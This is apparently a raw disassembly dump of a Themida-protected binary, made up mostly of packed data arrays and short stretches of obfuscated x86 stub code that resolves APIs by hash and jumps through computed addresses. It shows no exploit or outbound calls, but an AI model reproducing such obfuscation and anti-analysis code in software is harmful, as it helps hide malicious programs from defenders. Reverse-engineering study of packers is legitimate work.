dd 8D4A5703h, 5C778430h, 682ACC61h, 0E2A0C289h, 6754824Fh
dd 0C83463BBh, 0F8D9D79Dh, 0B161h, 4A177800h, 0F9043388h
dd 0CE96DEDDh, 3FEBD201h, 0E87B61E7h, 3BFE51F1h, 0B90C803h
dd 13426A30h, 823B9CA9h, 0D0BD90D6h, 0B22451F2h, 0FCDAB709h
dd 990713BFh, 13D6ADF5h, 518D013h, 4D535988h, 57E5E412h
dd 835098C0h, 64BC6853h, 0DB492535h, 8014EB33h, 11B1614Dh
dd 0ECD1024Fh, 96B1B7BDh, 45DFB89h, 10C794DCh, 597E5BADh
dd 0A9E8664h, 0B59F3891h, 8C9A7h, 8738A400h, 427B5835h
dd 0FCBF13F0h, 0B108CDAAh, 6855825Fh, 0D5DBDD16h, 8C69BB02h
dd 45227445h, 0FDDA2C93h, 8490E2D9h, 8510F6FCh, 29245809h
dd 0F8C512C2h, 0AE0DC9A6h, 0C412A35Ch, 983E4BF7h, 53B3D123h
dd 509848B6h, 0E501FF4Ah, 597E4B57h, 89B13564h, 967894E8h
dd 0F462B4CDh, 4BFE044Ch, 775CC192h, 696189A0h, 0E2A77D63h
dd 1269915Ch, 2C795669h, 0D6511AAh, 86325ADEh, 0D927B17Eh
dd 54DB671Eh, 903CD4DBh, 0B478E138h, 9A8AF49h, 0FF62D0DAh
dd 0E64649BFh, 5AA23A13h, 0D7558754h, 0E9315962h, 874CBA1Ch
dd 79FF7877h, 0DA54D0Bh, 90462375h, 0EAE14D2Bh, 867033B3h
dd 80978h, 47786400h, 2BB18F5h, 0BCFFD3B0h, 71488D6Ah
dd 2895421Fh, 951B9DD6h, 4C297B42h, 5E23485h, 0BD9AECD3h
dd 4450A219h, 85D0B6BCh, 0E9E45809h, 0F7C41282h, 5D76434Bh
dd 0E7C4AAB0h, 0B0D851F1h, 71DFE918h, 0F0BD85CDh, 66AAD9E2h
dd 57E50A77h, 573D430Bh, 6B58060Ah, 0B3901443h, 0BA029A25h
dd 0DE1F0FE3h, 9DF4736Ch, 2C0AE937h, 4D5D8CB7h, 135B0371h
dd 802C9146h, 0C3F6DB28h, 8A90BF17h, 0FDABAE84h, 0C4CAA25Dh
dd 5E1DABDEh, 0EA32CAF2h, 0B002B91Dh, 0CB803D3h, 0A6EE9200h
dd 154493A0h, 75BDE564h, 0C7F8E0ADh, 8994C31Bh, 3F1C6E4Dh
dd 6C782497h, 40A52FEh, 6A286DA5h, 0A395739Bh, 0C22C6525h
dd 740CAD8h, 0AF2D0000h, 0F2E1BE10h, 369C79CBh, 7F563385h
dd 0CC0BE83Ah, 52669FF1h, 0F244795Eh, 0ABFDBC15h, 63B50ACEh
dd 196B5086h, 997F850Dh, 0AD580986h, 4F174BB2h, 0F1E86349h
dd 204F7751h, 0AD39A816h, 3FB4C71h, 757BC35Bh, 57EA6070h
dd 8B18DBC2h, 3911BFD9h, 0B705EBF1h, 0F119580Ah, 0B13A1159h
dd 7EA332E7h, 9286F140h, 47DFB4C3h, 37E3D8FAh, 0E2AAB0DFh
dd 0AF5D4E0Bh, 215017D0h, 0A9FBC016h, 5B10ACCh, 9BE38BF9h
dd 22EE41C4h, 76C38A27h, 292F5E5Bh, 0AD939961h, 3F580A50h
dd 0A515339h, 793F6758h, 1D030951h, 31580A51h, 0A796DA09h
dd 0BD5DFD72h, 2FC7F8E0h, 9001F151h, 909E8838h, 67Eh, 80D2EDEFh
dd 3B8D30A3h, 0F547745Eh, 0AAFCBD18h, 61B30ACDh, 0B7209028h
dd 0FAD7B406h, 48906DBFh, 8E482577h, 47CFDB2Dh, 9875B41h
dd 0D746F58h, 8F44A513h, 484E962Eh, 57E98272h, 2EF63E66h
dd 1C4B7261h, 0A4F6C511h, 0AC0FC7h, 92DA86F4h, 0C38622BBh
dd 0ADDC474Ch, 0BF12DFA7h, 0A9F64EFAh, 8DE59128h, 0A40D1A5Eh
dd 375F5E00h, 7B422EFh, 0F15DDB5h, 5E20A429h, 0DBE6153Dh
dd 814C0FBh, 2897419Ah, 0B3804890h, 0BDAFDC1Eh, 0D9F2C990h
dd 4A889541h, 0D56DC571h, 0C5714A88h, 9BFA3E6Dh, 91641322h
dd 71C18B69h, 0E2CC327Ah, 5CDD4h, 833CA000h, 3E7F5431h
dd 0F8C30FECh, 0AD0CC9A6h, 64597E5Bh, 0D1DFD912h, 8865B706h
dd 411E7049h, 0F9D62897h, 808CDEDDh, 880CF2F8h, 25205809h
dd 1D4017BEh, 137EE6EBh, 0FED8E312h, 0D20411BDh, 4DBB97E9h
dd 598259A1h, 9821B4C0h, 3A3D94ECh, 515786EEh, 0E546B84Bh
dd 52FE2657h, 6262A0Ch, 77133558h, 0D9B0095Ch, 3BF5F8h
dd 130C0000h, 0ABB1F9A5h, 57E502E8h, 9CE28EB6h, 580602BAh
dd 0EF18EFC5h, 6D1448A2h, 46DEE1F7h, 7485C517h, 0D7DD30A7h
dd 5806DBF1h, 9945DD05h, 0BFA61241h, 3FF8D8FDh, 112h, 8E4A1756h
dd 0E7957B81h, 81A951F1h, 2F353DE9h, 51F1E849h, 6E9D355Dh
dd 9C487363h, 0C975488Fh, 0EAEC1ABCh, 0E8351B21h, 214951F1h
dd 0ED85DD89h, 64A23441h, 7B3E9371h, 33DF77CFh, 0DBF143DBh
dd 51F1EC08h, 0C54676Fh, 0F423963Fh, 0ECCF07E4h, 0C0FBD7A4h
dd 0ECCF0714h, 2150E840h, 913DABB7h, 3DA04349h, 0D5AC57E5h
dd 2DA8EDC3h, 3188E08Ch, 0BAE936BFh, 72585E36h, 865805F9h
dd 9874C65Eh, 0B504D12Ah, 0E6D7FC09h, 0B24AE23Ah, 0D1E1646Ah
dd 72F5DFAh, 0D8E5F2BFh, 0D6FBC890h, 59DF37E3h, 5E1CB173h
dd 20305F87h, 4B299443h, 3891C40Bh, 6F9EAC96h, 0FE000004h
dd 0B28FE1DEh, 6D4A9C21h, 27045665h, 0DCB90BAEh, 3770C2FBh
dd 15A82F81h, 0CEEBE6C3h, 86399F7Ch, 3C7F5734h, 5056DEEAh
dd 5809896Ah, 121C837Eh, 0E8B0F8C5h, 0CE7C1311h, 36BC6324h
dd 51F22A50h, 6E518764h, 0A3D26AC2h, 9B20B693h, 0F79A7149h
dd 0D34E3419h, 760EAD29h, 0A5136047h, 1D4A5C3Ah, 64FCE2E4h
dd 453161Ch, 0F92157E5h, 425074Dh, 0E305806h, 0D60E574Ch
dd 0C8F0F8D9h, 7000000h, 4BF7C412h, 7824993Eh, 0F1EC5F32h
dd 0AB10C651h, 615A7C59h, 0F1E0ADB5h, 0F2E41709h, 19B1D4F1h
dd 0DCE6156Dh, 0AD7AC26Eh, 5D639229h, 0E543B457h, 805B4257h
dd 93A061A9h, 7A56A840h, 161C640Ch, 5DFB07F2h, 8D2CA582h
dd 0A9F189E1h, 0FCBD14E1h, 0E915C2CDh, 0FBD65CFBh, 97DF77BAh
dd 0AD22D4C0h, 0C2F115AFh, 602D5B2h, 359DEACFh, 0EA82DA86h
dd 90C2540Ch, 69776138h, 372h, 8CDEE1FBh, 479924AFh, 153686Ah
dd 0B608B124h, 6DBFFED9h, 0AB2C8434h, 0EEE3C012h, 3C9C79CBh
dd 82543183h, 53DBE739h, 98A674Dh, 19807B58h, 2E8B4A17h
dd 25E3F4FFh, 75F0BB2h, 0E7D3B9BFh, 0BFE751F1h, 0DEF8D527h
dd 12D28BDDh, 3E4BF7C4h, 0B3D12398h, 9A46B451h, 0AA508552h
dd 0C85A49F9h, 24D0680Bh, 0C230161Ch, 1C4451F2h, 494F5584h
dd 57E5DBFEh, 0AF03A4CCh, 0FBD97415h, 99E18DFBh, 0B1F606CCh
dd 0DAF83262h, 5B619028h, 0DFC5CB93h, 0F3FC3C6Ch, 6D2F151Bh
dd 1B43FC3Ch, 0D9105483h, 0D022F8Eh, 9B53C636h, 552F13CEh
dd 1874CBDFh, 0D5598837h, 87F501ADh, 14C28FD7h, 8407A3E8h
dd 740C77BCh, 6410AB27h, 0D1D7DD0Ch, 8449C04h, 9966AED6h
dd 69367E3Dh, 13235269h, 3D1BA036h, 8E46D92Dh, 87A4B29Ch
dd 0E6000002h, 9A77C9F6h, 55328439h, 0FEC3E7Dh, 0C4A1F3C6h
dd 1F58AA13h, 0FDC01799h, 0B603CEABh, 6E518764h, 24973F1Ch
dd 383EC6D2h, 58098B52h, 12046B66h, 0FDA638C4h, 5243F23Fh
dd 94020EBAh, 0FB9EA4ECh, 8957E60Ah, 95F10F61h, 61177AE8h
dd 0DD3DC0AAh, 0DDA5ED85h, 4CF8C110h, 3681C5F4h, 45DF9B5h
dd 0CC794DCh, 852B5AB1h, 0FF3EA708h, 2F1D71D0h, 0C1F8A85Ch
dd 2CD8E1F4h, 2D9BA5D4h, 80333981h, 0AC209C57h, 0C513F3DFh
dd 5EF64EFAh, 0D783AB2Fh, 69B15DCBh, 0B1D89663h, 0F8406826h
dd 0BE10AB2Bh, 0ED620FE6h, 0DA97CC3h, 0CE2596BBh, 64AC5834h
dd 0D40F785Eh, 35648C26h, 595FAC2Ah, 26D40F73h, 0E9C75F87h
dd 6FDA668Bh, 0B75A6852h, 0B6000001h, 6A479926h, 25025469h
dd 0DFBC0EADh, 9471C3F6h, 0EF287A43h, 0CDF0E7C9h, 86339E7Bh
dd 3E815734h, 0F4C70FECh, 80E96A2h, 58098C22h, 12D43B36h
dd 3F4BF7C4h, 0DFE52DD1h, 57E5ED7Ch, 91A0A38Ah, 0C2BAE681h
dd 61BAD82Ah, 0E6EC44B2h, 58062100h, 0C8744B8Dh, 0EA82AA70h
dd 0C80DDAA2h, 8820993Ch, 0F423963Bh, 0F93A65B0h, 6A0B335Dh
dd 0AB46D016h, 0B01EF4h, 0B523F0B8h, 0D7065E0Ah, 42E093h
dd 0BA668E1Dh, 489040AEh, 15C37542h, 0D71F4723h, 2895420Fh
dd 0D3E8EEF9h, 0E9D2A981h, 4529BA42h, 874F5A89h, 81987E84h
dd 0C5AC2338h, 54B8E8D9h, 9C34CC69h, 7605C0BEh, 39473173h
dd 0F6h, 85A6577h, 0C315A82Bh, 7DCFECE6h, 328435A0h, 0E93B8255h
dd 2FA808B0h, 725F3C8Eh, 0C018F547h, 6D0ADFFh, 0CF5763B5h
dd 98CE3C9h, 95FCF758h, 0AFF7C412h, 0E7FBE1E7h, 320F51F1h
dd 146C18A5h, 0D7E34D7Ch, 290F1569h, 0BB51F1E8h, 0F1E7CFB5h
dd 0F5BBE351h, 25ED35CDh, 96427B58h, 0AF0F63Eh, 1E51F1E8h
dd 4083C7F6h, 0E57E512h, 4AB894E6h, 0B122E6F1h, 7008600Ch
dd 0FEADC4h, 0FDAF6F63h, 0BD85CD65h, 5909EFF5h, 0F51D5806h
dd 0F17982C6h, 9BC35DFDh, 0C7F4E2EFh, 7D3E9875h, 3EDE8BD1h
dd 1C806CB3h, 0FD03CB7Eh, 8F141E17h, 36834E2Bh, 6B9A328Ah
dd 0F3457660h, 454BC016h, 8F141E5Fh, 7B409673h, 979F4BE3h
dd 2AE0BCAh, 0F06911EBh, 0DA72C432h, 8435A0ABh, 0A1E183D8h
dd 28704B8Bh, 0B745A60h, 60888F14h, 92442131h, 36F7D29h
dd 0C6000000h, 0CA127DE4h, 9A3C49F5h, 70687521h, 3B96A34Fh
dd 12C5D27Eh, 0E5F2FFABh, 0B61F2CD8h, 884A5703h, 597A8733h
dd 6833B864h, 5E3Eh, 68241489h, 1D29h, 56240489h, 0C681E689h
dd 4, 8704EE83h, 895C2434h, 68512414h, 29B81FFBh, 81240C8Bh
dd 4C4h, 0F7D9F700h, 80C181D1h, 8159175Bh, 0B7E102E9h
dd 59C8897Ch, 24148B54h, 4C481h, 56500000h, 631416BEh
dd 2474312Ch, 428F5E04h, 8728108h, 2C631416h, 5324148Bh
dd 0C381E389h, 4, 8704C383h, 0FF5C241Ch, 83582434h, 1CE904C4h
dd 89FFFCD7h
db 0, 75h
; ---------------------------------------------------------------------------
loc_5832E6: ; CODE XREF: Themida_:005825E4j
mov eax, 617A680h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0F1h
dd 0C8746883h, 481A04A4h, 3634B0D9h, 0D5184827h, 8A699DCEh
dd 0F07ACA12h, 8B6E8767h, 0FF53A882h, 0E5747305h, 0CF768933h
dd 16CFD07h, 0E9575547h, 148h, 78h, 7Ch, 80h, 84h, 88h
dd 8Ch, 90h, 94h, 0D8h, 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 0F0h
dd 0F4h, 0F8h, 0FCh, 100h, 104h, 108h, 10Ch, 110h, 114h
dd 38h dup(0)
; ---------------------------------------------------------------------------
test [ebx], dh
pop eax
add bl, ch
push eax
mov ds:45858D00h, al
cmpsd
pop ss
push es
mov [ebp+6140D15h], ecx
mov [ebp+617A885h], eax
jmp loc_58348B
; ---------------------------------------------------------------------------
mov esp, 938F1667h
inc eax
xchg ebp, [esi]
loc_58348B: ; CODE XREF: Themida_:0058347Ej
mov byte ptr [ebp+6141A59h], 54h
mov esi, 7C5AD53Ch
push 0E89DE084h
add dword ptr [esp], 5C487A5h
mov ecx, edi
sub [ebp+6140E45h], esi
push dword ptr [ebp+6141AD1h]
mov bh, 2Dh
lea eax, [ebp+61780DBh]
xor [ebp+6142ED1h], edi
call eax
mov [ebp+6142A9Dh], esi
mov [ebp+617A889h], eax
mov ebx, [ebp+6140A65h]
jmp loc_583516
; ---------------------------------------------------------------------------
db 0Fh, 0B7h, 0F2h
byte_5834DB db 56h ; DATA XREF: Themida_:0054993Co
; Themida_:0054B04Co ...
dd 0A885B58Bh, 6890617h, 0A8858583h
; ---------------------------------------------------------------------------
loc_5834E8: ; CODE XREF: Themida_:0058352Ej
pop ss
push es
add al, 5Eh
retn
; =============== S U B R O U T I N E =======================================
sub_5834ED proc near ; DATA XREF: Themida_:0054A988o
pusha
lea esi, [ebp+617A745h]
jmp short loc_583505
; ---------------------------------------------------------------------------
loc_5834F6: ; CODE XREF: sub_5834ED+1Bj
push esi
push 0
push dword ptr [esi]
call dword ptr [ebp+617A889h]
pop esi
add esi, 4
loc_583505: ; CODE XREF: sub_5834ED+7j
cmp dword ptr [esi], 0
jnz short loc_5834F6
popa
retn
sub_5834ED endp
; ---------------------------------------------------------------------------
and edx, [ebp+61412C1h]
mov si, 0ABA0h
loc_583516: ; CODE XREF: Themida_:005834D3j
lea eax, [ebp+617A90Eh]
mov bl, ah
mov [ebp+6141DA9h], eax
call near ptr loc_583530+1
nop
and al, 58h
cmp cl, al
jz short loc_5834E8
loc_583530: ; CODE XREF: Themida_:00583524p
btc ecx, 45h
jp short near ptr loc_58358B+3
pop esi
jg loc_583543
mov [ebp+6140FA5h], ebx
loc_583543: ; CODE XREF: Themida_:00583537j
add esi, 5F57h
mov [ebp+6140981h], ebx
sub ecx, ecx
jmp loc_583566
; ---------------------------------------------------------------------------
dw 0EE18h
dd 50CC87BEh, 1CC41E5Fh, 0D4638863h
db 69h, 3Eh
; ---------------------------------------------------------------------------
loc_583566: ; CODE XREF: Themida_:00583551j
; Themida_:005835DCj
push dword ptr [ecx+esi]
jle loc_583572
mov bx, si
loc_583572: ; CODE XREF: Themida_:00583569j
pop eax
jle loc_58357F
mov [ebp+6140CF5h], esi
loc_58357F: ; CODE XREF: Themida_:00583573j
sub eax, 18CAFF14h
add eax, 4DB0EC19h
loc_58358B: ; CODE XREF: Themida_:00583534j
jns loc_583596
mov edi, 4A449E00h
loc_583596: ; CODE XREF: Themida_:loc_58358Bj
sub eax, 67B11BFFh
mov bx, cx
push eax
mov edx, [ebp+6142F39h]
pop dword ptr [esi+ecx]
mov dh, 53h
cmc
sub ecx, 2
mov [ebp+6141095h], edx
dec ecx
dec ecx
mov [ebp+61420C1h], edx
cmp ecx, 0FFFFA168h
jnz loc_5835D6
movzx edx, ax
jmp loc_5835EC
; ---------------------------------------------------------------------------
db 8Ah, 0Dh, 0F9h
; ---------------------------------------------------------------------------
jge short loc_583627
loc_5835D6: ; CODE XREF: Themida_:005835C3j
or [ebp+6142B4Dh], edi
jmp loc_583566
; ---------------------------------------------------------------------------
db 7Eh, 20h, 0Ch
dd 17E6FEA6h, 7E265A71h
; ---------------------------------------------------------------------------
loc_5835EC: ; CODE XREF: Themida_:005835CCj
jmp loc_583666
; ---------------------------------------------------------------------------
pusha
mov ax, ds
test al, 4
jz loc_583632
push 1
push dword ptr [ebp+6141145h]
lea eax, [ebp+61780DBh]
call eax
mov [ebp+6140CBDh], eax
mov edi, esi
shr edi, 0Ch
push 20040000h
push 0
push 2
push edi
push 1000Dh
loc_583627: ; CODE XREF: Themida_:005835D4j
call dword ptr [ebp+6140CBDh]
jmp loc_583664
; ---------------------------------------------------------------------------
loc_583632: ; CODE XREF: Themida_:005835F7j
mov byte ptr [ebp+6141A59h], 56h
loc_583639: ; CODE XREF: Themida_:00583694j
push 0A9C530DFh
push dword ptr [ebp+6141AD1h]
lea eax, [ebp+61780DBh]
call eax
mov [ebp+6142C1Dh], eax
lea eax, [ebp+6140101h]
push eax
push 20h
push 5
push esi
call dword ptr [ebp+6142C1Dh]
loc_583664: ; CODE XREF: Themida_:0058362Dj
popa
retn
; ---------------------------------------------------------------------------
loc_583666: ; CODE XREF: Themida_:loc_5835ECj
shl eax, 6
jmp short loc_5836A4
; ---------------------------------------------------------------------------
align 4
dd 0CC00C200h, 0E400C202h, 0C202h, 46000000h, 5E4682CEh
dd 0E5779BC2h, 31238ACAh, 4E4E81CEh, 0FD4F8B89h, 8C77A1A7h
; ---------------------------------------------------------------------------
jmp short loc_583639
; ---------------------------------------------------------------------------
db 23h
byte_583697 db 2Ah ; DATA XREF: Themida_:00549940o
dd 5753A0D3h, 6B4BBBC9h, 8C478EC2h
; ---------------------------------------------------------------------------
loc_5836A4: ; CODE XREF: Themida_:00583669j
mov dword ptr [ebp-13B0EEDDh], 0CFA72323h
jl short loc_583702
clc
pop di
in al, dx
mov ds:0A340676Eh, eax
repne and esi, [edx]
cmpsd
test al, 74h
fisub dword ptr [esi]
hlt
; ---------------------------------------------------------------------------
dw 49A0h
dd 781B9058h, 96A8B2FDh, 9737CCF6h, 0C8492F2Ch, 642007F7h
dd 6A03EFA7h, 5DAAB764h, 0C8A2EB83h, 463BEB83h, 7363EFA7h
dd 23510B64h, 4D2C9F20h, 6423EFA4h, 0B1070927h, 0D135E1Ah
db 0A1h, 0EFh
; ---------------------------------------------------------------------------
loc_583702: ; CODE XREF: Themida_:005836AEj
push esi
test [edx+edx*2], esp
retn 0B35Ch
; ---------------------------------------------------------------------------
db 0E9h, 23h, 57h
dd 1A70BFBEh, 0CC9A5767h, 0E1AAEFA7h, 3437F5EEh, 0AE19722Ah
dd 5FDCE9B1h, 0FBA0B7FCh, 2537F546h, 0C1349BA7h, 0CC9A57F4h
dd 0E1AAEFA7h, 3437F5EEh, 0AD0A722Ah, 5FDCE9B1h, 0FBAAB7FCh
dd 2537E40Ah, 24B664F5h, 9225FB8Eh, 42A26A2Eh, 0F2A8E9B3h
dd 0F172EFCDh, 8C23EFA4h, 1FE0B687h, 2707A32Eh, 9507AB26h
dd 0C823EFBBh, 93E0BEE6h, 0DCF4487Ch, 0B2EE8DC4h, 967A6A61h
dd 2C75E9B3h, 20CBBFA7h, 0B123EFA7h, 417B2CFFh, 0E527CBE3h
dd 2E27CBE3h, 5923EFA7h, 99A2CF7h, 25184103h, 0AA7DF13Eh
dd 8529963Ah, 0A0F064A1h, 0C8454C0Bh, 3223E84Eh, 424FCA7h
dd 8694E1DDh, 0B807DB26h, 0AA1321BCh, 8535962Ah, 199610A1h
dd 6B25FBBDh, 0B7AE1918h, 1F346F7Ch, 6472EFCDh, 4623EFA4h
dd 7AE0B687h, 9507A32Eh, 0CC07AB26h, 6423EFBAh, 0B3E0BEE6h
dd 45FFF2EEh, 0AD1DC84h, 0F39664DFh, 2C25FBA1h, 9123EF2Ch
dd 0A2F310A7h, 67CBBFA7h, 1223EFA7h, 907B2CFFh, 0D27CBE3h
dd 5C27CBE3h, 6323EFA7h, 17292CF7h, 0E277DFE7h, 0E595D59h
dd 612385A3h, 1923EC4Fh, 4F78CFA7h, 627F66FCh, 7676EA3h
dd 9123F7A3h, 0B70ACA7h, 0A51D0E40h, 0CBC387A5h, 93439F19h
dd 82AFE06Ch, 0AE23EFA7h, 2323EFAFh, 0F1C2DEE3h, 40EF30D7h
dd 50A28EFDh, 8CCA0F83h, 482385D7h, 8C23EC4Fh, 857ACFA7h
dd 76F66FEh, 0B5676EA3h, 0C823F8A3h, 0A772AEA7h, 34EA867Eh
dd 193562A8h, 9DCAEFA7h, 3F23EFA7h, 0E3BA723Ah, 1AD4F9B8h
dd 59DDC463h, 261F2E17h, 0A2BECECFh, 1CADE020h, 3323EFA7h
dd 6D8BC6CAh, 0E807EB26h, 105B80C2h, 0FE923F69h, 0E2385CDh
dd 31CBBCA7h, 3923EFA7h, 5782CFCh, 0C727CBFBh, 3927CBE3h
dd 0D223EFA7h, 0FA932CF4h, 0DE455638h, 2CA6E037h, 7923EFA7h
dd 56B33526h, 57CA8483h, 0DE23EFA7h, 0F7A1498Fh, 11A42E1Ah
dd 0C4FE44E4h, 608A06E0h, 0E60559C6h, 0D9238577h, 4623EC4Fh
dd 0E07ECFA7h, 0B54F66FAh, 0EC676EA3h, 6423F3A3h, 0F176AAA7h
dd 0AD5B7A5h, 90F7C7ECh, 2A9A8934h, 92B6C6E4h, 1825FBA4h
dd 0DF896322h, 1FCD6EA1h, 0B96DDD29h, 1BEFEA5Fh, 9AAEFA7h
dd 40344537h, 0AA3B2F24h, 86897B22h, 71E3DCA1h, 6423ED4Bh
dd 0F4DB4554h, 0D39B622h, 8C49ACA1h, 462007F7h, 7B03EFA7h
dd 0D5AAB764h, 8CA2EB83h, 6439EB83h, 6263EFA7h, 490C8F64h
dd 0A8F0141Fh, 5BC26BCFh, 0D0A88922h, 4B07DB26h, 303A952Dh
dd 7EF25A58h, 0B7AEE9B3h, 1F346F7Ch, 8C9A522Eh, 96DCE9B3h
dd 21FE728Eh, 0CAAE9B3h, 0CE37DE62h, 74226A2Eh, 0BFAAE9B3h
dd 1F37FD7Eh, 81B26A2Ah, 4649E9B3h, 232007F1h, 0CF03EFA7h
dd 0BCAAB164h, 20A2EB83h, 323AEB83h, 4F65EFA7h, 10D47E64h
dd 17680B30h, 0AB25A2Ch, 187CE9B3h, 0DC399E22h, 312385A1h
dd 3223EC4Fh, 0DA7ECFA7h, 0A84F66FAh, 62676EA3h, 2323F8A3h
dd 5276AAA7h, 783FACDBh, 0E1E5382Ch, 3437F5FEh, 4C2385F4h
dd 8C23EC4Fh, 857ECFA7h, 74F66FAh, 0B5676EA3h, 0C823F7A3h
dd 0A776AAA7h, 4228B18h, 0ADC856CBh, 33459931h, 684B5F43h
dd 70FCDAD5h, 91216FA8h, 0A943EFA7h, 40276EF9h, 2F58390Dh
dd 0F170EFCDh, 8C23EFA4h, 1DE0B487h, 2707B32Eh, 9507AB26h
dd 0C823EFBAh, 9AE0BCE4h, 0FF2EF912h, 0C3770F5Bh, 559D89FDh
dd 979610EBh, 4925FBBDh, 92CBBEA7h, 0E823EFA7h, 0ED7A2CFEh
dd 0B327CBEBh, 227CBE3h, 0CD23EFA7h, 79CC2CF6h, 1ED28194h
dd 14AE6047h, 0CE346F7Ch, 8C76EFCDh, 3223EFA4h, 44E0B287h
dd 8807832Eh, 4207AB26h, 2323EFB2h, 6CE0BAE2h, 4945BE32h
dd 3D1D917Eh, 32256AA8h, 9CAAEFA7h, 8A37DF1Ah, 0B9F064C1h
dd 0B60A8F77h, 9737DFDEh, 0A1A666C6h, 0E25FBB6h, 31CBB9A7h
dd 3923EFA7h, 57D2CF9h, 0C727CBD3h, 3427CBE3h, 0D723EFA7h
dd 0B6622CF1h, 0E1E55EBEh, 3437F5FEh, 0A1C451F4h, 574B9E14h
dd 0AEB79DBDh, 2323EFA2h, 57EF72A9h, 0CCA2B1EDh, 0C28A3783h
dd 0B796ECE4h, 0E625FB82h, 98393E12h, 142385A1h, 2323EC4Fh
dd 5279CFA7h, 0EC7766FDh, 40676EA3h, 3223F4A3h, 0DA71ADA7h
dd 72B24BC1h, 2EC06918h, 0CE96E6C7h, 1825FBA8h, 0DC202A22h
dd 0E1AE8EA1h, 34346F7Ch, 1D0E7AAEh, 5CDCE9B3h, 46216DA8h
dd 0F7A9EFA7h, 0BBD66A2Eh, 45A8E9B3h, 6237DFCEh, 287A6A61h
dd 0E564E9B3h, 0DF3593CFh, 5E59500Bh, 27A28847h, 1AE4C283h
dd 199610ACh, 0EF25FBBDh, 260CFA32h, 0C2A662A1h, 0E625F827h
dd 45CBBFA7h, 323EFA7h, 187B2CFFh, 4927CBE3h, 7227CBE3h
dd 7223EFA7h, 0AE452CF7h, 0E5BEC655h, 0B925FBB4h, 72238577h
dd 9123EC4Fh, 0B7ACFA7h, 406F66FEh, 16676EA3h, 1923FBA3h
dd 4F72AEA7h, 0AFA289A9h, 0A6AAD6B4h, 9737EA1Ah, 4DE5B5F6h
dd 6237F5FEh, 632385E0h, 1923EC4Fh, 4F7ACFA7h, 626F66FEh
dd 7676EA3h, 9123F4A3h, 0B72AEA7h, 1DCC368Ch, 73ABEED9h
dd 360A6AA6h, 514BE9B3h, 167B72FFh, 0FCA88FF5h, 9123E64Fh
dd 47D3A1A7h, 0A234AAEAh, 5378C634h, 8CADEA8h, 9123EFA7h
dd 97268866h, 89024BD1h, 1D95CF2Fh, 0E7F91C09h, 60A2B7FDh
dd 0C947283h, 0DCD56F8Eh, 96F25A58h, 4649E9B3h, 232007F1h
dd 0CF03EFA7h, 0BCAAB164h, 20A2EB83h, 3237EB83h, 4F65EFA7h
dd 0A29D0164h, 20168846h, 0FB770E26h, 11F86A2Ah, 552AE9B0h
dd 6237E45Ah, 0B2753F58h, 90796A45h, 9825CA22h, 162385A1h
dd 2323EC4Fh, 527BCFA7h, 0EC6766FFh, 40676EA3h, 3223F6A3h
dd 0DA73AFA7h, 990630F8h, 0C745A5AAh, 0CA162D75h, 9123EFA9h
dd 60021D03h, 37E8328Bh, 0F58A8B40h, 9CE5C0B1h, 8A37F5FEh
dd 132385E0h, 2323EC4Fh, 527ECFA7h, 0EC4F66FAh, 40676EA3h
dd 3223F9A3h, 0DA76AAA7h, 0A56D00BFh, 5201FE1Ah, 439287A1h
dd 95A2A898h, 45F84383h, 0D1DC16C4h, 3437F576h, 0F174EFCDh
dd 8C23EFA4h, 19E0B087h, 2707932Eh, 9507AB26h, 0C823EFBDh
dd 50E0B8E0h, 44674D87h, 94AA9736h, 8A37C096h, 4B3672A6h
dd 0A6AEE9B3h, 97346F7Ch, 0FECD6EC1h, 8CF310D5h, 3223EFA2h
dd 50CBE3C5h, 56A28961h, 0CD7A6FCEh, 372A3A12h, 0DCA666A1h
dd 0A225FBACh, 67CBBAA7h, 1223EFA7h, 907E2CFAh, 0D27CBCBh
dd 5327CBE3h, 6623EFA7h, 0BBE02CF2h, 0C69D3F58h, 4734239Ch
dd 2623DA2Ah, 30A666A1h, 0E625FBACh, 45CBBCA7h, 323EFA7h
dd 18782CFCh, 4927CBFBh, 7127CBE3h, 7123EFA7h, 0F22C2CF4h
dd 7FB63C1h, 52135A12h, 4527CBA1h, 4E802D26h, 4C2C2FADh
dd 6423EC16h, 287A6A61h, 736CE9B3h, 8FCBBAA7h, 6623EFA7h
dd 0AA7E2CFAh, 1027CBCBh, 0DC27CBE3h, 2123EFA7h, 0BB0D2CF2h
dd 0D0CDE1Ah, 45A666A1h, 2E25FB89h, 0F5E2C319h, 0DC3C55F0h
dd 497ACB0Ah, 2459CB93h, 0B70A86E6h, 1F37FFDAh, 96F25A58h
dd 4649E9B3h, 232007F0h, 0CE03EFA7h, 0B4AAB064h, 20A2EB83h
dd 3239EB83h, 4E64EFA7h, 0E0C264h, 2523622h, 23256AA8h
dd 1D2CEFA7h, 0C823EFA7h, 0D1AEE6F6h, 6825FB89h, 99F86A2Ah
dd 8C49E9B0h, 462007F6h, 7A03EFA7h, 0DDAAB664h, 8CA2EB83h
dd 6439EB83h, 6362EFA7h, 0A0D1E364h, 7A259914h, 4CCA252Ch
dd 0AF23EFA7h, 0C743B840h, 5B0B8F8Eh, 859EDEECh, 0CD25FBAEh
dd 4E238577h, 8C23EC4Fh, 857CCFA7h, 75F66F8h, 0B5676EA3h
dd 0C823FBA3h, 0A774A8A7h, 5BB666E7h, 9A25FB83h, 11AACB67h
dd 4037ECEEh, 2A8E6A2Eh
dd 9149E9B3h, 0C82007F0h, 3B03EFA7h, 4EAAB064h, 5DA2EB83h
dd 8C36EB83h, 1164EFA7h, 0A8682464h, 8538F232h, 0E1A664A1h
dd 0E25FBACh, 31CBBAA7h, 3923EFA7h, 57E2CFAh, 0C727CBCBh
dd 3B27CBE3h, 0D423EFA7h, 2AB12CF2h, 4F0D0D12h, 2616F21Ah
dd 54BE64A1h, 0E625FBACh, 45CBBFA7h, 323EFA7h, 187B2CFFh
dd 4927CBE3h, 7C27CBE3h, 7223EFA7h, 91962CF7h, 0A568C192h
dd 5230761Ah, 0D1A2ACA1h, 0E6D14651h, 75A8F42Ch, 6237DF9Eh
dd 0A7AAF42Ch, 1F37EDBEh, 8C49F42Ch, 462007F4h, 7803EFA7h
dd 0CDAAB464h, 8CA2EB83h, 643AEB83h, 6160EFA7h, 2E4BB64h
dd 0BF3322FEh, 1523857Fh, 2323EC4Fh, 5278CFA7h, 0EC7F66FCh
dd 40676EA3h, 3223F3A3h, 0DA70ACA7h, 0FA2161Eh, 0BCD4208Ch
dd 0A2BE6648h, 0FB25FBBCh, 0CBCBBDA7h, 4423EFA7h, 0BB792CFDh
dd 9827CBF3h, 9427CBE3h, 423EFA7h, 804F2CF5h, 18DE6996h
